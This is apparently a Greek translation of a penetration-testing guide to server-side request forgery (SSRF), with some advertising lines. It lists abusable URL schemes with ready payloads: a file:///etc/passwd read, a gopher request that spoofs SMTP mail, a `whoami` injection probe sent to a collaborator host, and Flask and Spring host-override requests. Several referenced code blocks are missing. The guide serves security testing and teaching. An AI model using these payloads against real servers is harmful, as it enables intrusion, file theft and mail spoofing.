Χρησιμοποιήστε Trickest για να δημιουργήσετε και να αυτοματοποιήσετε ροές εργασίας με τη βοήθεια των πιο προηγμένων εργαλείων της κοινότητας.
Αποκτήστε πρόσβαση σήμερα:
Μια ευπάθεια Server-side Request Forgery (SSRF) συμβαίνει όταν ένας επιτιθέμενος χειραγωγεί μια εφαρμογή server-side ώστε να κάνει HTTP requests σε ένα τομέα της επιλογής του. Αυτή η ευπάθεια εκθέτει τον διακομιστή σε αυθαίρετα εξωτερικά αιτήματα που κατευθύνονται από τον επιτιθέμενο.
Καταγραφή SSRF
Το πρώτο πράγμα που πρέπει να κάνετε είναι να καταγράψετε μια αλληλεπίδραση SSRF που δημιουργήσατε εσείς. Για να καταγράψετε μια αλληλεπίδραση HTTP ή DNS μπορείτε να χρησιμοποιήσετε εργαλεία όπως:
Συνήθως θα διαπιστώσετε ότι το SSRF λειτουργεί μόνο σε ορισμένους whitelisted τομείς ή URL. Στην παρακάτω σελίδα έχετε μια συγκέντρωση τεχνικών για να προσπαθήσετε να παρακάμψετε αυτή τη whitelist:
Εάν ο διακομιστής είναι σωστά προστατευμένος, μπορείτε να παρακάμψετε όλους τους περιορισμούς εκμεταλλευόμενοι μια Ανοιχτή Ανακατεύθυνση μέσα στη σελίδα. Δεδομένου ότι η ιστοσελίδα θα επιτρέπει SSRF στον ίδιο τομέα και πιθανώς θα ακολουθεί ανακατευθύνσεις, μπορείτε να εκμεταλλευτείτε την Ανοιχτή Ανακατεύθυνση για να κάνετε τον διακομιστή να έχει πρόσβαση σε οποιοδήποτε εσωτερικό πόρο.
Διαβάστε περισσότερα εδώ: https://portswigger.net/web-security/ssrf
Πρωτόκολλα
file://
Το σχήμα URL file:// αναφέρεται, δείχνοντας απευθείας στο /etc/passwd: file:///etc/passwd
dict://
Το σχήμα URL DICT περιγράφεται ως χρησιμοποιούμενο για την πρόσβαση σε ορισμούς ή λίστες λέξεων μέσω του πρωτοκόλλου DICT. Ένα παράδειγμα που δίνεται δείχνει ένα κατασκευασμένο URL που στοχεύει σε μια συγκεκριμένη λέξη, βάση δεδομένων και αριθμό καταχώρησης, καθώς και μια περίπτωση ενός PHP script που μπορεί να χρησιμοποιηθεί κακόβουλα για να συνδεθεί σε έναν διακομιστή DICT χρησιμοποιώντας διαπιστευτήρια που παρέχονται από τον επιτιθέμενο: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
Αναγνωρίζεται ως πρωτόκολλο για ασφαλή μεταφορά αρχείων μέσω ασφαλούς κελύφους, παρέχεται ένα παράδειγμα που δείχνει πώς ένα PHP script θα μπορούσε να εκμεταλλευτεί για να συνδεθεί σε έναν κακόβουλο διακομιστή SFTP: url=sftp://generic.com:11111/
TFTP://
Το Trivial File Transfer Protocol, που λειτουργεί μέσω UDP, αναφέρεται με ένα παράδειγμα ενός PHP script που έχει σχεδιαστεί για να στείλει ένα αίτημα σε έναν διακομιστή TFTP. Ένα αίτημα TFTP γίνεται στο 'generic.com' στην πόρτα '12346' για το αρχείο 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
Αυτό το τμήμα καλύπτει το Lightweight Directory Access Protocol, τονίζοντας τη χρήση του για τη διαχείριση και πρόσβαση σε κατανεμημένες υπηρεσίες πληροφοριών καταλόγου μέσω δικτύων IP. Αλληλεπιδράστε με έναν διακομιστή LDAP στον localhost: '%0astats%0aquit' μέσω ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
Περιγράφεται μια μέθοδος εκμετάλλευσης ευπαθειών SSRF για αλληλεπίδραση με υπηρεσίες SMTP στον localhost, συμπεριλαμβανομένων βημάτων για την αποκάλυψη εσωτερικών ονομάτων τομέα και περαιτέρω ερευνητικών ενεργειών με βάση αυτές τις πληροφορίες.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
Curl URL globbing - WAF bypass
Αν το SSRF εκτελείται από curl, το curl έχει μια δυνατότητα που ονομάζεται URL globbing που θα μπορούσε να είναι χρήσιμη για να παρακάμψει τα WAFs. Για παράδειγμα, σε αυτήν την writeup μπορείτε να βρείτε αυτό το παράδειγμα για path traversal μέσω του file πρωτοκόλλου:
Η ικανότητα του πρωτοκόλλου Gopher να καθορίζει IP, θύρα και bytes για την επικοινωνία με τον διακομιστή συζητείται, μαζί με εργαλεία όπως το Gopherus και το remote-method-guesser για τη δημιουργία payloads. Δύο διακριτές χρήσεις απεικονίζονται:
Gopher://
Χρησιμοποιώντας αυτό το πρωτόκολλο μπορείτε να καθορίσετε το IP, θύρα και bytes που θέλετε να στείλει ο διακομιστής. Στη συνέχεια, μπορείτε βασικά να εκμεταλλευτείτε μια SSRF για να επικοινωνήσετε με οποιονδήποτε TCP διακομιστή (αλλά πρέπει να ξέρετε πώς να μιλήσετε με την υπηρεσία πρώτα).
Ευτυχώς, μπορείτε να χρησιμοποιήσετε το Gopherus για να δημιουργήσετε payloads για πολλές υπηρεσίες. Επιπλέον, το remote-method-guesser μπορεί να χρησιμοποιηθεί για τη δημιουργία gopher payloads για Java RMI υπηρεσίες.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0Agopher://<server>:8080/_GET /HTTP/1.0%0A%0Agopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Το λογισμικό ανάλυσης στους διακομιστές συχνά καταγράφει το Referrer header για να παρακολουθεί τους εισερχόμενους συνδέσμους, μια πρακτική που ακούσια εκθέτει τις εφαρμογές σε ευπάθειες Server-Side Request Forgery (SSRF). Αυτό συμβαίνει επειδή τέτοιο λογισμικό μπορεί να επισκεφθεί εξωτερικές διευθύνσεις URL που αναφέρονται στο Referrer header για να αναλύσει το περιεχόμενο των παραπομπών. Για να αποκαλυφθούν αυτές οι ευπάθειες, προτείνεται το πρόσθετο Burp Suite "Collaborator Everywhere", εκμεταλλευόμενο τον τρόπο που τα εργαλεία ανάλυσης επεξεργάζονται το Referer header για να εντοπίσουν πιθανά επιθέσεις SSRF.
SSRF μέσω δεδομένων SNI από πιστοποιητικό
Μια κακή ρύθμιση που θα μπορούσε να επιτρέψει τη σύνδεση σε οποιοδήποτε backend μέσω μιας απλής ρύθμισης απεικονίζεται με ένα παράδειγμα ρύθμισης Nginx:
Σε αυτή τη διαμόρφωση, η τιμή από το πεδίο Server Name Indication (SNI) χρησιμοποιείται άμεσα ως διεύθυνση του backend. Αυτή η ρύθμιση εκθέτει μια ευπάθεια σε Server-Side Request Forgery (SSRF), η οποία μπορεί να εκμεταλλευτεί απλά καθορίζοντας τη ζητούμενη διεύθυνση IP ή το όνομα τομέα στο πεδίο SNI. Ένα παράδειγμα εκμετάλλευσης για να αναγκάσει μια σύνδεση σε ένα αυθαίρετο backend, όπως το internal.host.com, χρησιμοποιώντας την εντολή openssl δίνεται παρακάτω:
Μπορεί να αξίζει να δοκιμάσετε ένα payload όπως: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Απόδοση PDFs
Εάν η ιστοσελίδα δημιουργεί αυτόματα ένα PDF με κάποιες πληροφορίες που έχετε παρέχει, μπορείτε να εισάγετε κάποιο JS που θα εκτελείται από τον δημιουργό του PDF (τον server) κατά τη δημιουργία του PDF και θα μπορείτε να εκμεταλλευτείτε ένα SSRF. Βρείτε περισσότερες πληροφορίες εδώ.
Από SSRF σε DoS
Δημιουργήστε πολλές συνεδρίες και προσπαθήστε να κατεβάσετε βαριά αρχεία εκμεταλλευόμενοι το SSRF από τις συνεδρίες.
SSRF PHP Functions
Ελέγξτε την παρακάτω σελίδα για ευάλωτες PHP και ακόμη και Wordpress functions:
Για ορισμένες εκμεταλλεύσεις μπορεί να χρειαστεί να στείλετε μια απάντηση ανακατεύθυνσης (πιθανώς για να χρησιμοποιήσετε ένα διαφορετικό πρωτόκολλο όπως το gopher). Εδώ έχετε διάφορους κωδικούς python για να απαντήσετε με μια ανακατεύθυνση:
Χρησιμοποιήστε Trickest για να δημιουργήσετε και να αυτοματοποιήσετε ροές εργασίας με τη βοήθεια των πιο προηγμένων εργαλείων της κοινότητας.
Αποκτήστε πρόσβαση σήμερα:
</details>
Το Flask επιτρέπει τη χρήση του **`@`** ως αρχικό χαρακτήρα, που επιτρέπει να γίνει το **αρχικό όνομα κεντρικού υπολογιστή το όνομα χρήστη** και να εισαχθεί ένα νέο. Αιτούμενο επίθεσης:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Ευάλωτος κώδικας:
Ανακαλύφθηκε ότι είναι δυνατό να ξεκινήσει η διαδρομή ενός αιτήματος με τον χαρακτήρα ; που επιτρέπει στη συνέχεια τη χρήση του @ και την εισαγωγή ενός νέου host για πρόσβαση. Αιτημα επίθεσης:
GET ;@evil.com/url HTTP/1.1Host:target.comConnection:close